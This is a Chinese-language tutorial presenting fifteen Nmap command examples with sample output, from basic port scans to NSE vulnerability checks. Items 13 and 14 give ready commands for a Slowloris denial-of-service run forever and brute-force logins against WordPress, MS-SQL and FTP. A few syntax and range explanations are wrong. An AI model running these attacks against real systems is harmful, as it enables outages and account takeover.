Nmap是信息安全领域最受欢迎的网络映射器之一。它被网络安全专业人员和新手用于审计和发现本地和远程开放端口,以及主机和网络信息。
该工具的一些最佳功能是它是开源的,免费的,多平台的,并且每年都会不断更新。它还有一个很大的优点:它是最完整的主机和网络扫描仪之一。它包含大量选项以增强您的扫描和绘图任务,并带来了一个令人难以置信的社区和全面的文档,以帮助您从一开始就理解这个工具。Nmap可用于:
- 创建完整的计算机网络地图。
- 查找任何主机的远程IP地址。
- 获取操作系统和软件详细信息。
- 检测本地和远程系统上的开放端口。
- 审核服务器安全标准。
- 查找远程和本地主机上的漏洞。
今天我们将通过一些实用的基于终端的Nmap命令来探索这个基本的安全工具。
最好的15个Nmap命令示例
让我们了解一些可以使用Nmap执行的基于命令行的有用扫描。
1.针对IP或主机的基本Nmap扫描
nmap 1.1.1.1
现在,如果要扫描主机名,只需替换主机的IP,如下所示:
nmap cloudflare.com
从Nmap开始,这些基本扫描非常适合您的第一步。
2.扫描特定端口或扫描本地或远程服务器上的整个端口范围
nmap -p 1-65535 localhost
在此示例中,我们扫描了localhost计算机的所有65535端口。
Nmap能够扫描所有可能的端口,但您也可以扫描特定端口,这将报告更快的结果。见下文:
nmap -p 80,443 8.8.8.8
3.扫描多个IP地址
我们尝试扫描多个IP地址。为此,您需要使用以下语法:
nmap 1.1.1.1 8.8.8.8
您还可以扫描连续的IP地址:
nmap -p 1.1.1.1,2,3,4
这将扫描1.1.1.1
,1.1.1.2
,1.1.1.3
和1.1.1.4
。
4.扫描IP范围
您还可以使用Nmap扫描整个CIDR IP范围,例如:
nmap -p 8.8.8.0/28
这将扫描14个连续的IP范围,从8.8.8.1
到8.8.8.14
。
另一种方法是简单地使用这种范围:
nmap 8.8.8.1-14
您甚至可以使用通配符扫描整个C类IP范围,例如:
nmap 8.8.8.*
这将扫描从256个IP地址8.8.8.1
来8.8.8.256
。
如果您需要从IP范围扫描中排除某些IP,可以使用“-exclude”选项,如下所示:
nmap -p 8.8.8.* --exclude 8.8.8.1
5.扫描最常用的端口
使用“-top-ports”参数和特定数字可以扫描该主机的前X个最常见端口,我们可以看到:
nmap --top-ports 20 192.168.1.106
将“20”替换为所需的数字。输出示例:
[root@securitytrails:~]nmap --top-ports 20 localhost
Starting Nmap 6.40 ( http://nmap.org ) at 2018-10-01 10:02 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000016s latency).
Other addresses for localhost (not scanned): 127.0.0.1
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
25/tcp closed smtp
53/tcp closed domain
80/tcp filtered http
110/tcp closed pop3
111/tcp closed rpcbind
135/tcp closed msrpc
139/tcp closed netbios-ssn
143/tcp closed imap
443/tcp filtered https
445/tcp closed microsoft-ds
993/tcp closed imaps
995/tcp closed pop3s
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy
6.扫描从文本文件读取的主机和IP地址
在这种情况下,Nmap对于读取包含主机和IP的文件也很有用。
假设您创建了一个包含以下这些行的list.txt文件:
192.168.1.106
cloudflare.com
microsoft.com
securitytrails.com
“-iL”参数允许您从该文件中读取,并为您扫描所有这些主机:
nmap -iL list.txt
7.将Nmap扫描结果保存到文件中
另一方面,在以下示例中,我们不会读取文件,而是将结果导出/保存到文本文件中:
nmap -oN output.txt securitytrails.com
Nmap也能够将文件导出为XML格式,请参阅下一个示例:
nmap -oX output.xml securitytrails.com
8.禁用DNS名称解析
如果您需要稍微加快扫描速度,可以随时选择禁用所有扫描的反向DNS解析。只需添加“-n”参数即可。
[root@securitytrails:~]nmap -p 80 -n 8.8.8.8
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:15 -03
Nmap scan report for 8.8.8.8
Host is up (0.014s latency).
PORT STATE SERVICE
80/tcp filtered http
查看正常DNS解析启用扫描的差异:
[root@securitytrails:~]nmap -p 80 8.8.8.8
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:15 -03
Nmap scan report for google-public-dns-a.google.com (8.8.8.8)
Host is up (0.014s latency).
PORT STATE SERVICE
80/tcp filtered http
9.快速执行扫描+操作系统和服务检测
使用“-A”参数可以执行操作系统和服务检测,同时我们将其与“-T4”相结合,以加快执行速度。请参阅以下示例:
nmap -A -T4 cloudflare.com
这是我们为此测试获得的输出:
10.检测服务/守护程序版本
这可以通过使用-sV参数来完成
nmap -sV localhost
正如你在这里看到的:
[root@securitytrails:~]nmap -sV localhost
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:28 -03
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000020s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
631/tcp open ipp CUPS 2.2
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
11.使用TCP或UDP协议进行扫描
我们最喜欢Nmap的一个原因是它适用于TCP和UDP协议。虽然大多数服务都在TCP上运行,但您也可以通过扫描基于UDP的服务获得巨大优势。我们来看一些例子。
标准TCP扫描输出:
[root@securitytrails:~]nmap -sT 192.168.1.1
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:33 -03
Nmap scan report for 192.168.1.1
Host is up (0.58s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
1900/tcp open upnp
20005/tcp open btx
49152/tcp open unknown
49153/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
使用“-sU”参数进行UDP扫描结果:
[root@securitytrails:~]nmap -sU localhost
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:37 -03
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000021s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 997 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
111/udp open rpcbind
5353/udp open|filtered zeroconf
12.使用Nmap进行漏洞检测
Nmap的最大特点之一是并非所有网络和系统管理员都知道的是“Nmap脚本引擎”(称为NSE)。此脚本引擎允许用户使用预定义的脚本集,或使用Lua编程语言编写自己的脚本。
使用NSE对于自动化系统和漏洞扫描至关重要。例如,如果要对目标运行完整漏洞测试,可以使用以下参数:
nmap -Pn --script vuln 192.168.1.105
输出示例:
[root@securitytrails:~]nmap -Pn --script vuln 192.168.1.105
Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-01 09:46 -03
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.105
Host is up (0.00032s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
1900/tcp open upnp
20005/tcp open btx
49152/tcp open unknown
49153/tcp open unknown
如您所见,在此漏洞测试中,我们能够检测到一个CVE(Slowloris DOS攻击)。
13.使用Nmap启动DOS
Nmap功能似乎永远不会结束,并且由于NSE,它甚至允许我们对我们的网络测试发起DOS攻击。
在我们之前的示例(#12)中,我们发现主机容易受到Slowloris攻击,现在我们将尝试通过在永久循环中启动DOS攻击来利用该漏洞:
nmap 192.168.1.105 -max-parallelism 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=true
14.发动蛮力攻击
NSE非常吸引人 – 它包含了您可以想象的所有内容的脚本。请参阅下面三个针对WordPress,MSSQL和FTP服务器的BFA示例:
WordPress暴力攻击:
nmap -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.1.105
对MS-SQL的暴力攻击:
nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 192.168.1.105
FTP暴力攻击:
nmap --script ftp-brute -p 21 192.168.1.105
15.检测远程主机上的恶意软件感染
Nmap能够通过对一些流行的OS服务(如Identd,Proftpd,Vsftpd,IRC,SMB和SMTP)进行大量测试来检测恶意软件和后门。它还有一个模块,用于检查远程服务器中的流行恶意软件标志,并集成了Google的安全浏览和VirusTotal数据库。
可以使用以下命令执行常见的恶意软件扫描:
nmap -sV --script=http-malware-host 192.168.1.105
或使用Google的恶意软件检查:
nmap -p80 --script http-google-malware infectedsite.com
输出示例:
80/tcp open http
|_http-google-malware.nse: Host is known for distributing malware.
Nmap是当今信息安全专业人士使用的最完整,最准确的端口扫描程序之一。有了它,您可以执行简单的端口扫描任务或使用其强大的脚本引擎来启动DOS攻击,检测远程和本地服务器上的恶意软件或暴力测试。
今天我们讨论了前十五个Nmap命令来扫描远程主机,但是如果你开始在OSINT策略中使用Nmap,还有很多要发现的内容。